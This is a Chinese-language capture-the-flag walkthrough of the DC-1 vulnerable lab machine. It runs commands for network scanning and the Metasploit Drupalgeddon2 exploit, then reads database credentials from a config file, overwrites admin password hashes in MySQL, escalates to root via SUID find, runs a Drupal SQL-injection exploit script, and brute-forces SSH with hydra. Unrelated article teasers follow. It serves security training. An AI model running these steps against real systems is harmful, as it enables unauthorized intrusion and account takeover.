DC-1靶场

一.环境搭建

下载地址

http://www.five86.com/downloads/DC-1.zip

把桥接设置为nat模式,打开靶机的时候会提示几个错误,点击重试即可

启动靶机,如下图所示即可

二.开始打靶 

1.信息收集

arp-scan -l

扫描跟kali(攻击机) 同一网段开了哪些ip,也就是发现靶机ip

我的攻击机ip为192.168.111.128,靶机ip为192.168.111.129

用nmap扫一下靶机开放的端口

nmap 192.168.111.129 -p1-65535 

 开放了22/80/111/60677

我们先访问一下80端口,看一下是什么

也可以用以下工具得知是drupal cms

whatweb -v 192.168.111.129

根据以上操作,我们可以搜集到如下信息

端口号22/80/111/60677

drupal cms 7

PHP 5.4.45

Apache 2.2.22

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

一搜发现这么多漏洞,进msf搜一下drupal,直接百度也行,一般这种nday都有大佬发教程

 

 2.漏洞探测与利用

打开msf,搜索drupal

msfconsole

search drupal

 选择exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

查看需要配置的内容

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set

set rhosts 192.168.111.129
run

进行运行

 3.getshell

得到shell,输入shell

shell

弄一个交互式的shell,用python起一个(必须靶机安装了python环境才行)

python -c 'import pty; pty.spawn("/bin/bash")'

 

查看flag1.txt,发现提示,每个好的cms都需要一个配置文件,你也一样

4.数据库渗透

开始找配置文件

cat `find / -name settings.php`

我们获取到了他的数据库账号密码和flag2

 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
暴力破解和目录攻击不是唯一获取权限的方法(你需要权限),你能用这些凭证做些什么呢

使用配置文件中的数据库账号密码进行登录 

查看有哪些库

show databases;

使用drupaldb库并且查看表

use drupaldb;show tables;

下面有一个users表,进入这个表进行查看

select * from users;
select * from users\G;

 也可以使用下面这条命令,/G 的作用是将查到的结构旋转90度变成纵向(我没试)

获得两个用户

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |  

 看这么复杂,而且在配置文件中找到slat也很长,撞库基本上不可能实现,所以用替换密码的方式获得用户登录权限,将一个已知的密码通过cms的算法加密后生成的hash,替换掉已存在用户的密码hash,就算是修改密码了

忘记Drupal的管理员密码的解决办法

方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。

方法二:这是drupal提供的最原生的方法

在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:

php scripts/password-hash.sh admin

输出:

password: admin                 hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA

然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

 durpal的加密脚本存在此地址

/var/www/scripts/password-hash.sh

先退出mysql界面

exit;

 打开加密脚本,查看里面的内容

cat /var/www/scripts/password-hash.sh

 脚本是php代码,要求我们输入一个密码,它会返回一个加密后的hash

用php运行这个脚本,输出123456的hash 

php /var/www/scripts/password-hash.sh 123456

password: 123456 		hash: $S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu

登录到mysql后,将这个hash替换到admin账户的密码

mysql -udbuser -pR0ck3t
 
use drupaldb;update users set pass = "$S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu" where name = 'admin' or name = 'Fred';

 

 进入界面,输入账号密码admin/123456

点击这个content,会有一个flag3 

点击这个flag3,会给你提示 

 特殊权限会帮助你找到密码,但是你需要-exec(执行)命令去确定如何获得这个shadow(菜鸡翻译,敬请见谅)

 根据提示,我们输出一下passwd的内容

cat /etc/passwd

我们可以看到有一个flag4在这

切换到flag4的/home/flag4目录 ,查看有什么文件

cd /home/flag4
ls

你能用同样的方法去找到或者访问在root的flag吗

大概。 但是也许这并不容易。 也许是?

5.提权

现在要开始提升权限了

利用suid提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

看到有find,直接用find提权

find / -exec "/bin/bash" -p \;
cd /root
ls

 

获取到root权限后,直接cd 到/root目录,看到最终的flag

cat thefinalflag.txt

 

 这个靶机还是非常简单的,按照其他大佬的wp打下来十分顺畅

三.其他方法

为什么这么写,是因为我想有个流畅的打靶体验,先通关再说

1.在数据库渗透的过程中,通过sql注入漏洞创建用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

 

searchsploit 34992.py -p

 

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py

 这个软件给出了usage,可以进行尝试

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.111.129 -u test -p 123456

进入界面用test/123456进行登录,登录成功 

2.在查看flag4的时候可以不用提权,爆破flag4用户的ssh密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.129

 爆破到flag4的ssh密码为orange,进行连接,查看文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/476838.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

李宏毅深度强化学习导论——基本概念

引言 这是李宏毅老师深度强化学习视频的学习笔记,主要介绍强化学习的基本概念,从直观的角度去教大家如何理解强化学习的知识而不是理论的角度,所以包含的数学公式不多。 什么是强化学习 我们知道监督学习需要人类给机器一个标签&#xff0c…

Docker专题-04 Nginx部署

Docker专题-04 Nginx部署 注: 本教程由羞涩梦整理同步发布,本人技术分享站点:blog.hukanfa.com 转发本文请备注原文链接,本文内容整理日期:2024-03-21 csdn 博客名称:五维空间-影子,欢迎关注…

3.windows下Ubuntu,sratoolkit软件,从ncbi的sra数据库下载数据。

NCBI的SRA(Sequence Read Archive)数据库是一个公共数据库,用于存储高通量测序数据,包括基因组、转录组和表观基因组等数据。研究人员可以在SRA数据库中找到各种生物样本的测序数据,并进行检索、下载和分析。 在NCBI的…

启扬RK3568核心板,助力外科手术机器人迈向智能诊疗之路

外科手术机器人是将机器人技术与外科手术相结合的高端医疗装备,可以帮助医生制定手术计划,提高手术过程中的准确度,并将传统技术转化为数字程序。通过利用机械控制、视觉成像、光电技术、人工智能等技术,外科手术机器人在医疗领域…

全国产飞腾+FPGA架构,支持B码+12网口+多串电力通讯管理机解决方案

行业痛点: 中国的电力网络已经成为当今世界覆盖范围最广、结构最为复杂的人造科技系统。随着国家和各部委颁布了一系列法律法规,如国家颁布的《中华人民共和国网络安全法》、工信部颁布的《工业控制系统信息安全防护指南》、发改委颁布的14号令《电力监控系统安全防…

动态规划课堂7-----两个数组的dp问题(等价代换)

目录 引言: 例题1:最长公共子序列 例题2:不同的子序列 例题3:通配符匹配 例题4:正则表达式 结语: 引言: 本节我们就要进入两个数组的dp问题的学习,通过前面几个章节的学习&…

深入剖析JavaScript引擎的工作原理

文章目录 导文什么是JavaScript引擎的工作原理?1. 解析阶段解析器(Parser) 2. 编译阶段3. 执行阶段解释器(Interpreter)优化器(Optimizer) 4. 垃圾回收阶段垃圾回收器 其他 导文 JavaScript引擎…

如何用SCSS制作小铃铛振动/震动/摇晃/晃动的特效/效果?

放大了看效果 ​​​​​​​​​​​​​​ // 摇晃小铃铛振动/震动/摇晃/晃动的特效/效果---------------------------------------- [sg-shaking] {display: inline-block;transform-origin: center top;animation: sg-shaking 1s alternate forwards; }keyframes sg-shaki…

【Apache ShenYu源码】如何实现负载均衡模块设计

ShenYu是一个异步的,高性能的,跨语言的,响应式的 API 网关。有关ShenYu的介绍可以戳这。 一、前瞻 今天我们尝试不同的代码阅读方式,按模块来去阅读源码,看看效果如何。 本次阅读锁定在shenyu-loadbalancer&#xf…

Java安全 反序列化(3) CC1链-TransformedMap版

Java安全 反序列化(3) CC1链-TransformedMap版 本文尝试从CC1的挖掘思路出发,理解CC1的实现原理 文章目录 Java安全 反序列化(3) CC1链-TransformedMap版配置jdk版本和源代码配置前记 为什么可以利用一.CC链中的命令执行我们可以尝试一下通过InvokerTransformer.tr…

Windows环境下编译ffmpeg 6.1源码--Virtual Studio + Msys2方式

环境准备 约定:源码全部放到sources下,目录结构说明 /d/java/ffmpeg #工程工目录 ├── build #存放编译文件的目录,子目录为具体模块的构建目录 │ ├── fdk-aac │ ├── ffmpeg │ └── x264 ├── instal…

O2OA(翱途)开发平台前端安全配置建议(一)

O2OA开发平台是一个集成了多种功能的开发环境,前端安全在其中显得尤为重要。前端是用户与平台交互的直接界面,任何安全漏洞都可能被恶意用户利用,导致用户数据泄露、非法操作或系统被攻击。因此,前端安全是确保整个系统安全的第一…

B011-springcloud alibaba rpc通信 Dubbo

目录 介绍实现提供统一业务api服务提供者1.导入依赖2添加dubbo配置3编写并暴露服务 服务消费者1.导入依赖2添加dubbo配置3引用服务 测试 介绍 Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC分布式服务框架,致力于提供高性能和透明化的 RPC远程服务调用方案&#xf…

数学建模(Topsis python代码 案例)

目录 介绍: 模板: 案例: 极小型指标转化为极大型(正向化): 中间型指标转为极大型(正向化): 区间型指标转为极大型(正向化): 标…

【图像分类】基于深度学习的人脸表情识别(8种表情,ResNet网络)

写在前面: 首先感谢兄弟们的关注和订阅,让我有创作的动力,在创作过程我会尽最大能力,保证作品的质量,如果有问题,可以私信我,让我们携手共进,共创辉煌。(专栏订阅用户订阅专栏后免费提供数据集和源码一份,超级VIP用户不在服务范围之内,不想订阅专栏的兄弟们可以私信…

“洞见·智领未来——2024行业开局暨成渝(内江)服务外包产业发展大会”共商服务外包新未来新业态

3月19日-20日,由中国信息协会、中共内江市委、内江市人民政府指导,中国信息协会数字经济专委会、中共内江市东兴区委、内江市东兴区人民政府共同主办,鸿联九五集团、首席客户官百人会(CCO100)承办的“洞见 智领未来—…

【Git】第一课:Git的介绍

简介 什么是Git? Git是一个开源的分布式版本控制系统,用于跟踪代码的改变和协同开发。它最初由Linus Torvalds为了管理Linux内核开发而创建,现已成为开源软件开发中最流行的版本控制系统,没有之一。Git允许多人同时在不同的分支上工作&…

opencv各个模块介绍(1)

Core 模块:核心模块,提供了基本的数据结构和功能。 常用的核心函数: cv::Mat:表示多维数组的数据结构,是OpenCV中最常用的类之一,用于存储图像数据和进行矩阵运算。 cv::Scalar:用于表示多通道…

mac下Appuim环境安装-持续更新中

参考资料 Mac安装Appium_mac电脑安装appium-CSDN博客 安卓测试工具:Appium 环境安装(mac版本)_安卓自动化测试mac环境搭建-CSDN博客 1. 基本环境依赖 1 node.js 2 JDK(Java JDK) 3 Android SDK 4 Appium&#x…

51单片机学习9 串口通讯

51单片机学习9 串口通讯 一、串口通讯简介UARTSTC89C51RC/RD的串口资源 二、51单片机串口介绍1. 内部结构2. 寄存器(1)串口控制寄存器SCON(2)电源控制寄存器PCON 3. 计算波特率4. 串口配置步骤 三、 开发示例1. 硬件电路2. 代码实…